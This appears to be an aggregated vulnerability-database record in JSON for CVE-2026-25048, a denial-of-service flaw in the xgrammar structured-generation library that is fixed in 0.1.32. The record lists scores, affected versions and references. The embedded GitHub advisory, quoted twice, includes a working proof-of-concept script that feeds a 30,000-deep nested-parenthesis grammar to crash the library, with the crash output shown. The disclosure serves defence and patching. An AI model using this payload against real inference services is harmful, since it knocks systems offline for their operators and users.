{"id":"CVE-2026-25048","aliases":["EUVD-2026-9830","GHSA-7rgv-gqhr-fxg3","PYSEC-2026-2322"],"status":"published","title":"xgrammar: Multi-layer nesting causes DoS","description":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01321,"percentile":0.71248,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-674"],"published":"2026-03-05T15:34:42Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"PyPI","package":"xgrammar","fixed_in":["0.1.32"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.1.31"},{"fixed":"0.1.32"}]}]},{"source":"osv","ecosystem":"PyPI","package":"xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.17","0.1.18","0.1.19","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.29","0.1.30","0.1.31","0.1.6","0.1.7","0.1.8","0.1.9"]},{"source":"osv","ecosystem":"PyPI","package":"xgrammar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.32"}]}],"versions":["0.1.0","0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.17","0.1.18","0.1.19","0.1.2","0.1.20","0.1.21","0.1.22","0.1.23","0.1.24","0.1.25","0.1.26","0.1.27","0.1.28","0.1.29","0.1.3","0.1.30","0.1.31","0.1.4","0.1.4rc2","0.1.5","0.1.5rc1","0.1.6","0.1.7","0.1.8","0.1.9"]}],"products":[{"vendor":"mlc-ai","product":"xgrammar"},{"vendor":"red hat","product":"red hat ai inference server"},{"vendor":"red hat","product":"red hat ai inference server 3.2"},{"vendor":"red hat","product":"red hat enterprise linux ai (rhel ai) 3"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"}],"references":[{"url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32","tags":["x_refsource_MISC","Release Notes","web","advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25048","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2444840","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25048.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6761","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5809","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6762","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42644","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24977","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25048","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7rgv-gqhr-fxg3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25048.json","tags":["advisory"]},{"url":"https://github.com/mlc-ai/xgrammar","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25048","title":"xgrammar: Multi-layer nesting causes DoS","description":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","status":"published","published":"2026-03-05T15:34:42.095Z","modified":"2026-07-21T12:05:13.603Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-674","CWE-674"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-9830","description":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","status":"published","published":"2026-03-05T15:34:42Z","modified":"2026-07-21T12:05:13Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:19:47.959089Z"}],"ghsa":[{"id":"GHSA-7rgv-gqhr-fxg3","title":"xgrammar vulnerable to DoS via multi-layer nesting","description":"### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n\u003e pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n\u003e python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS","status":"published","published":"2026-03-05T18:20:08Z","modified":"2026-03-05T20:42:16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:39:31.060223Z"}],"nvd":[{"id":"CVE-2026-25048","description":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","status":"published","published":"2026-03-05T16:16:15.853Z","modified":"2026-07-21T12:17:34.86Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:12:07.852448Z"}],"osv":[{"id":"CVE-2026-25048","title":"xgrammar: Multi-layer nesting causes DoS","description":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","status":"published","published":"2026-03-05T15:34:42.095Z","modified":"2026-10-28T02:30:55.654083967Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-7rgv-gqhr-fxg3","title":"xgrammar vulnerable to DoS via multi-layer nesting","description":"### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n    \n    # Load model\n    model = AutoModelForCausalLM.from_pretrained(\n        model_name,\n        torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n        device_map=device\n    )\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n    config = AutoConfig.from_pretrained(model_name)\n    \n    # Math expression grammar\n    math_grammar = grammar\n    \n    # Setup\n    tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n        tokenizer,\n        vocab_size=config.vocab_size\n    )\n    compiler = xgr.GrammarCompiler(tokenizer_info)\n    compiled_grammar = compiler.compile_grammar(math_grammar)\n    \n    # Generate\n    prompt = \"Math: \"\n    inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n    \n    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n    \n    output_ids = model.generate(\n        **inputs,\n        max_new_tokens=50,\n        logits_processor=[xgr_processor]\n    )\n    \n    result = tokenizer.decode(\n        output_ids[0][len(inputs.input_ids[0]):],\n        skip_special_tokens=True\n    )\n    \n    print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\n\n```\n\u003e pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n\u003e python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS","status":"published","published":"2026-03-05T18:20:08Z","modified":"2026-09-10T03:50:38.008741123Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"PYSEC-2026-2322","description":"xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.","status":"published","published":"2026-03-05T16:16:15.853Z","modified":"2026-07-13T07:15:49.59249884Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"}]}}